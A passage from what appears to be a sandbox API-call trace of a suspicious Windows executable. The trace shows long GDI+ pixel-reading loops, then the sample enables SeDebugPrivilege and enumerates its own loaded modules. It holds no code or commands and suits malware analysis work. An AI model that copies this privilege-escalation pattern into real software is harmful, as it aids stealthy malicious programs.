(bitmap=0x1272f08, x=226, y=332, color=0x30cf3c) returned 0x0 [0032.830] GetLastError () returned 0x0 [0032.830] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.831] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.831] GdipBitmapGetPixel (bitmap=0x1272f08, x=227, y=332, color=0x30cf3c) returned 0x0 [0032.831] GetLastError () returned 0x0 [0032.831] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.831] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.831] GdipBitmapGetPixel (bitmap=0x1272f08, x=228, y=332, color=0x30cf3c) returned 0x0 [0032.831] GetLastError () returned 0x0 [0032.831] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.831] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.831] GdipBitmapGetPixel (bitmap=0x1272f08, x=229, y=332, color=0x30cf3c) returned 0x0 [0032.831] GetLastError () returned 0x0 [0032.831] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.831] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.831] GdipBitmapGetPixel (bitmap=0x1272f08, x=230, y=332, color=0x30cf3c) returned 0x0 [0032.831] GetLastError () returned 0x0 [0032.831] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.831] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.831] GdipBitmapGetPixel (bitmap=0x1272f08, x=231, y=332, color=0x30cf3c) returned 0x0 [0032.831] GetLastError () returned 0x0 [0032.831] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.831] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.831] GdipBitmapGetPixel (bitmap=0x1272f08, x=232, y=332, color=0x30cf3c) returned 0x0 [0032.831] GetLastError () returned 0x0 [0032.831] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.831] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.831] GdipBitmapGetPixel (bitmap=0x1272f08, x=233, y=332, color=0x30cf3c) returned 0x0 [0032.831] GetLastError () returned 0x0 [0032.831] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.831] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.831] GdipBitmapGetPixel (bitmap=0x1272f08, x=234, y=332, color=0x30cf3c) returned 0x0 [0032.831] GetLastError () returned 0x0 [0032.831] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.831] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.831] GdipBitmapGetPixel (bitmap=0x1272f08, x=235, y=332, color=0x30cf3c) returned 0x0 [0032.831] GetLastError () returned 0x0 [0032.831] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.831] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.831] GdipBitmapGetPixel (bitmap=0x1272f08, x=236, y=332, color=0x30cf3c) returned 0x0 [0032.831] GetLastError () returned 0x0 [0032.832] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.832] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.832] GdipBitmapGetPixel (bitmap=0x1272f08, x=237, y=332, color=0x30cf3c) returned 0x0 [0032.832] GetLastError () returned 0x0 [0032.832] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.832] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.832] GdipBitmapGetPixel (bitmap=0x1272f08, x=238, y=332, color=0x30cf3c) returned 0x0 [0032.832] GetLastError () returned 0x0 [0032.832] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.832] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.832] GdipBitmapGetPixel (bitmap=0x1272f08, x=239, y=332, color=0x30cf3c) returned 0x0 [0032.832] GetLastError () returned 0x0 [0032.832] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.832] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.832] GdipBitmapGetPixel (bitmap=0x1272f08, x=240, y=332, color=0x30cf3c) returned 0x0 [0032.832] GetLastError () returned 0x0 [0032.832] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.832] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.832] GdipBitmapGetPixel (bitmap=0x1272f08, x=241, y=332, color=0x30cf3c) returned 0x0 [0032.832] GetLastError () returned 0x0 [0032.832] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.832] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.832] GdipBitmapGetPixel (bitmap=0x1272f08, x=242, y=332, color=0x30cf3c) returned 0x0 [0032.832] GetLastError () returned 0x0 [0032.832] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.832] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.832] GdipBitmapGetPixel (bitmap=0x1272f08, x=243, y=332, color=0x30cf3c) returned 0x0 [0032.832] GetLastError () returned 0x0 [0032.832] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.832] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.832] GdipBitmapGetPixel (bitmap=0x1272f08, x=244, y=332, color=0x30cf3c) returned 0x0 [0032.832] GetLastError () returned 0x0 [0032.832] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.832] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.832] GdipBitmapGetPixel (bitmap=0x1272f08, x=245, y=332, color=0x30cf3c) returned 0x0 [0032.832] GetLastError () returned 0x0 [0032.832] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.832] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.833] GdipBitmapGetPixel (bitmap=0x1272f08, x=246, y=332, color=0x30cf3c) returned 0x0 [0032.833] GetLastError () returned 0x0 [0032.833] GdipBitmapGetPixel (bitmap=0x1272f08, x=247, y=332, color=0x30cf3c) returned 0x0 [0032.833] GetLastError () returned 0x0 [0032.833] GdipBitmapGetPixel (bitmap=0x1272f08, x=248, y=332, color=0x30cf3c) returned 0x0 [0032.833] GetLastError () returned 0x0 [0033.097] GetCurrentProcessId () returned 0xa60 [0033.111] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x30c74c | out: lpLuid=0x30c74c*(LowPart=0x14, HighPart=0)) returned 1 [0033.119] GetLastError () returned 0x0 [0033.120] GetCurrentProcess () returned 0xffffffff [0033.120] GetLastError () returned 0x0 [0033.122] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x30c748 | out: TokenHandle=0x30c748*=0x200) returned 1 [0033.122] GetLastError () returned 0x0 [0033.124] AdjustTokenPrivileges (in: TokenHandle=0x200, DisableAllPrivileges=0, NewState=0x280f8a4*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0033.124] GetLastError () returned 0x0 [0033.125] CloseHandle (hObject=0x200) returned 1 [0033.125] GetLastError () returned 0x0 [0033.134] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa60) returned 0x200 [0033.134] GetLastError () returned 0x0 [0033.143] EnumProcessModules (in: hProcess=0x200, lphModule=0x2810240, cb=0x100, lpcbNeeded=0x30ced0 | out: lphModule=0x2810240, lpcbNeeded=0x30ced0) returned 1 [0033.144] GetLastError () returned 0x0 [0033.146] GetModuleInformation (in: hProcess=0x200, hModule=0x1320000, lpmodinfo=0x2810380, cb=0xc | out: lpmodinfo=0x2810380*(lpBaseOfDll=0x1320000, SizeOfImage=0xb0000, EntryPoint=0x1371d7e)) returned 1 [0033.147] GetLastError () returned 0x0 [0033.149] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x1320000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="gmmqacgpk.exe") returned 0xd [0033.149] GetLastError () returned 0x0 [0033.150] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x1320000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gmmqacgpk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gmmqacgpk.exe")) returned 0x33 [0033.150] GetLastError () returned 0x0 [0033.151] GetModuleInformation (in: hProcess=0x200, hModule=0x77130000, lpmodinfo=0x28114c8, cb=0xc | out: lpmodinfo=0x28114c8*(lpBaseOfDll=0x77130000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0033.151] GetLastError () returned 0x0 [0033.151] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x77130000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0033.151] GetLastError () returned 0x0 [0033.151] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x77130000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0033.151] GetLastError () returned 0x0 [0033.151] GetModuleInformation (in: hProcess=0x200, hModule=0x74b20000, lpmodinfo=0x28125bc, cb=0xc | out: lpmodinfo=0x28125bc*(lpBaseOfDll=0x74b20000, SizeOfImage=0x4a000, EntryPoint=0x74b22e54)) returned 1 [0033.152] GetLastError () returned 0x0 [0033.152] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74b20000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0033.152] GetLastError () returned 0x0 [0033.152] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74b20000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0033.152] GetLastError () returned 0x0 [0033.152] GetModuleInformation (in: hProcess=0x200, hModule=0x76c20000, lpmodinfo=0x28136b8, cb=0xc | out: lpmodinfo=0x28136b8*(lpBaseOfDll=0x76c20000, SizeOfImage=0x110000, EntryPoint=0x76c332d3)) returned 1 [0033.152] GetLastError () returned 0x0 [0033.152] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76c20000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0033.153] GetLastError () returned 0x0 [0033.153] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76c20000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0033.153] GetLastError () returned 0x0 [0033.153] GetModuleInformation (in: hProcess=0x200, hModule=0x75960000, lpmodinfo=0x28147bc, cb=0xc | out: lpmodinfo=0x28147bc*(lpBaseOfDll=0x75960000, SizeOfImage=0x46000, EntryPoint=0x75967478)) returned 1 [0033.153] GetLastError () returned 0x0 [0033.153] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75960000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0033.153] GetLastError () returned 0x0 [0033.154] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75960000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0033.154] GetLastError () returned 0x0 [0033.154] GetModuleInformation (in: hProcess=0x200, hModule=0x74d40000, lpmodinfo=0x28158f8, cb=0xc | out: lpmodinfo=0x28158f8*(lpBaseOfDll=0x74d40000, SizeOfImage=0xa0000, EntryPoint=0x74d549e5)) returned 1 [0033.154] GetLastError () returned 0x0 [0033.154] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74d40000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0033.154] GetLastError () returned 0x0 [0033.155] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74d40000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0033.155] GetLastError () returned 0x0 [0033.155] GetModuleInformation (in: hProcess=0x200, hModule=0x74e10000, lpmodinfo=0x28169fc, cb=0xc | out: lpmodinfo=0x28169fc*(lpBaseOfDll=0x74e10000, SizeOfImage=0xac000, EntryPoint=0x74e1a472)) returned 1 [0033.155] GetLastError () returned 0x0 [0033.155] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74e10000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0033.155] GetLastError () returned 0x0 [0033.155] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74e10000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0033.156] GetLastError () returned 0x0 [0033.156] GetModuleInformation (in: hProcess=0x200, hModule=0x75740000, lpmodinfo=0x2817af8, cb=0xc | out: lpmodinfo=0x2817af8*(lpBaseOfDll=0x75740000, SizeOfImage=0x19000, EntryPoint=0x75744975)) returned 1 [0033.156] GetLastError () returned 0x0 [0033.156] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75740000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0033.156] GetLastError () returned 0x0 [0033.156] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75740000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0033.157] GetLastError () returned 0x0 [0033.157] GetModuleInformation (in: hProcess=0x200, hModule=0x75ee0000, lpmodinfo=0x2818bf4, cb=0xc | out: lpmodinfo=0x2818bf4*(lpBaseOfDll=0x75ee0000, SizeOfImage=0xf0000, EntryPoint=0x75ef0569)) returned 1 [0033.157] GetLastError () returned 0x0 [0033.157] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75ee0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0033.157] GetLastError () returned 0x0 [0033.157] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75ee0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0033.158] GetLastError () returned 0x0 [0033.158] GetModuleInformation (in: hProcess=0x200, hModule=0x74c90000, lpmodinfo=0x2819d40, cb=0xc | out: lpmodinfo=0x2819d40*(lpBaseOfDll=0x74c90000, SizeOfImage=0x60000, EntryPoint=0x74caa3b3)) returned 1 [0033.158] GetLastError () returned 0x0 [0033.158] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74c90000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0033.158] GetLastError () returned 0x0 [0033.158] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74c90000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0033.159] GetLastError () returned 0x0 [0033.159] GetModuleInformation (in: hProcess=0x200, hModule=0x74c80000, lpmodinfo=0x281ae3c, cb=0xc | out: lpmodinfo=0x281ae3c*(lpBaseOfDll=0x74c80000, SizeOfImage=0xc000, EntryPoint=0x74c810e1)) returned 1 [0033.159] GetLastError () returned 0x0 [0033.159] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74c80000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0033.159] GetLastError () returned 0x0 [0033.160] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74c80000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0033.160] GetLastError () returned 0x0 [0033.160] GetModuleInformation (in: hProcess=0x200, hModule=0x74aa0000, lpmodinfo=0x281bf40, cb=0xc | out: lpmodinfo=0x281bf40*(lpBaseOfDll=0x74aa0000, SizeOfImage=0x78000, EntryPoint=0x74aaf7ba)) returned 1 [0033.160] GetLastError () returned 0x0 [0033.160] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74aa0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0033.161] GetLastError () returned 0x0 [0033.161] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74aa0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0033.161] GetLastError () returned 0x0 [0033.161] GetModuleInformation (in: hProcess=0x200, hModule=0x75340000, lpmodinfo=0x281d078, cb=0xc | out: lpmodinfo=0x281d078*(lpBaseOfDll=0x75340000, SizeOfImage=0x57000, EntryPoint=0x75359ba6)) returned 1 [0033.161] GetLastError () returned 0x0 [0033.161] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75340000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0033.162] GetLastError () returned 0x0 [0033.162] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75340000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0033.162] GetLastError () returned 0x0 [0033.162] GetModuleInformation (in: hProcess=0x200, hModule=0x75ad0000, lpmodinfo=0x281e174, cb=0xc | out: lpmodinfo=0x281e174*(lpBaseOfDll=0x75ad0000, SizeOfImage=0x90000, EntryPoint=0x75ae6343)) returned 1 [0033.163] GetLastError () returned 0x0 [0033.163] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75ad0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0033.163] GetLastError () returned 0x0 [0033.164] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75ad0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0033.164] GetLastError () returned 0x0 [0033.164] GetModuleInformation (in: hProcess=0x200, hModule=0x74f40000, lpmodinfo=0x281f268, cb=0xc | out: lpmodinfo=0x281f268*(lpBaseOfDll=0x74f40000, SizeOfImage=0x100000, EntryPoint=0x74f5b6ed)) returned 1 [0033.164] GetLastError () returned 0x0 [0033.164] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74f40000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0033.165] GetLastError () returned 0x0 [0033.165] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74f40000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0033.165] GetLastError () returned 0x0 [0033.165] GetModuleInformation (in: hProcess=0x200, hModule=0x75130000, lpmodinfo=0x2820364, cb=0xc | out: lpmodinfo=0x2820364*(lpBaseOfDll=0x75130000, SizeOfImage=0xa000, EntryPoint=0x751336a0)) returned 1 [0033.166] GetLastError () returned 0x0 [0033.166] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75130000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0033.166] GetLastError () returned 0x0 [0033.166] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75130000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0033.166] GetLastError () returned 0x0 [0033.167] GetModuleInformation (in: hProcess=0x200, hModule=0x75090000, lpmodinfo=0x2821450, cb=0xc | out: lpmodinfo=0x2821450*(lpBaseOfDll=0x75090000, SizeOfImage=0x9d000, EntryPoint=0x750c3fd7)) returned 1 [0033.167] GetLastError () returned 0x0 [0033.167] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75090000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0033.167] GetLastError () returned 0x0 [0033.168] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75090000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0033.168] GetLastError () returned 0x0 [0033.168] GetModuleInformation (in: hProcess=0x200, hModule=0x75b60000, lpmodinfo=0x28225d4, cb=0xc | out: lpmodinfo=0x28225d4*(lpBaseOfDll=0x75b60000, SizeOfImage=0x60000, EntryPoint=0x75b7158f)) returned 1 [0033.169] GetLastError () returned 0x0 [0033.169] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75b60000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0033.169] GetLastError () returned 0x0 [0033.169] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75b60000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0033.169] GetLastError () returned 0x0 [0033.170] GetModuleInformation (in: hProcess=0x200, hModule=0x75150000, lpmodinfo=0x28236c8, cb=0xc | out: lpmodinfo=0x28236c8*(lpBaseOfDll=0x75150000, SizeOfImage=0xcc000, EntryPoint=0x7515168b)) returned 1 [0033.170] GetLastError () returned 0x0 [0033.170] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75150000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0033.170] GetLastError () returned 0x0 [0033.171] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75150000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0033.171] GetLastError () returned 0x0 [0033.171] GetModuleInformation (in: hProcess=0x200, hModule=0x74a90000, lpmodinfo=0x28247bc, cb=0xc | out: lpmodinfo=0x28247bc*(lpBaseOfDll=0x74a90000, SizeOfImage=0x9000, EntryPoint=0x74a91220)) returned 1 [0033.171] GetLastError () returned 0x0 [0033.172] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74a90000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0033.172] GetLastError () returned 0x0 [0033.172] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74a90000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0033.172] GetLastError () returned 0x0 [0033.173] GetModuleInformation (in: hProcess=0x200, hModule=0x74000000, lpmodinfo=0x28258b8, cb=0xc | out: lpmodinfo=0x28258b8*(lpBaseOfDll=0x74000000, SizeOfImage=0x5ab000, EntryPoint=0x74053dc0)) returned 1 [0033.173] GetLastError () returned 0x0 [0033.173] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74000000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0033.173] GetLastError () returned 0x0 [0033.174] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74000000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0033.174] GetLastError () returned 0x0 [0033.174] GetModuleInformation (in: hProcess=0x200, hModule=0x749f0000, lpmodinfo=0x28269f0, cb=0xc | out: lpmodinfo=0x28269f0*(lpBaseOfDll=0x749f0000, SizeOfImage=0x9b000, EntryPoint=0x749f232b)) returned 1 [0033.175] GetLastError () returned 0x0 [0033.175] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x749f0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0033.175] GetLastError () returned 0x0 [0033.175] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x749f0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0033.176] GetLastError () returned 0x0 [0033.176] GetModuleInformation (in: hProcess=0x200, hModule=0x75fd0000, lpmodinfo=0x2827b84, cb=0xc | out: lpmodinfo=0x2827b84*(lpBaseOfDll=0x75fd0000, SizeOfImage=0xc4a000, EntryPoint=0x76051601)) returned 1 [0033.176] GetLastError () returned 0x0 [0033.176] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75fd0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0033.177] GetLastError () returned 0x0 [0033.177] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75fd0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0033.177] GetLastError () returned 0x0 [0033.177] GetModuleInformation (in: hProcess=0x200, hModule=0x755e0000, lpmodinfo=0x2828c80, cb=0xc | out: lpmodinfo=0x2828c80*(lpBaseOfDll=0x755e0000, SizeOfImage=0x15c000, EntryPoint=0x7562ba3d)) returned 1 [0033.178] GetLastError () returned 0x0 [0033.178] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x755e0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0033.178] GetLastError () returned 0x0 [0033.178] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x755e0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0033.179] GetLastError () returned 0x0 [0033.179] GetModuleInformation (in: hProcess=0x200, hModule=0x749e0000, lpmodinfo=0x2829d74, cb=0xc | out: lpmodinfo=0x2829d74*(lpBaseOfDll=0x749e0000, SizeOfImage=0xb000, EntryPoint=0x749e1992)) returned 1 [0033.179] GetLastError () returned 0x0 [0033.180] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x749e0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0033.180] GetLastError () returned 0x0 [0033.180] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x749e0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0033.181] GetLastError () returned 0x0 [0033.181] GetModuleInformation (in: hProcess=0x200, hModule=0x729c0000, lpmodinfo=0x282ae70, cb=0xc | out: lpmodinfo=0x282ae70*(lpBaseOfDll=0x729c0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0033.181] GetLastError () returned 0x0 [0033.181] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x729c0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0033.182] GetLastError () returned 0x0 [0033.182] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x729c0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0033.182] GetLastError () returned 0x0 [0033.183] GetModuleInformation (in: hProcess=0x200, hModule=0x745d0000, lpmodinfo=0x282c008, cb=0xc | 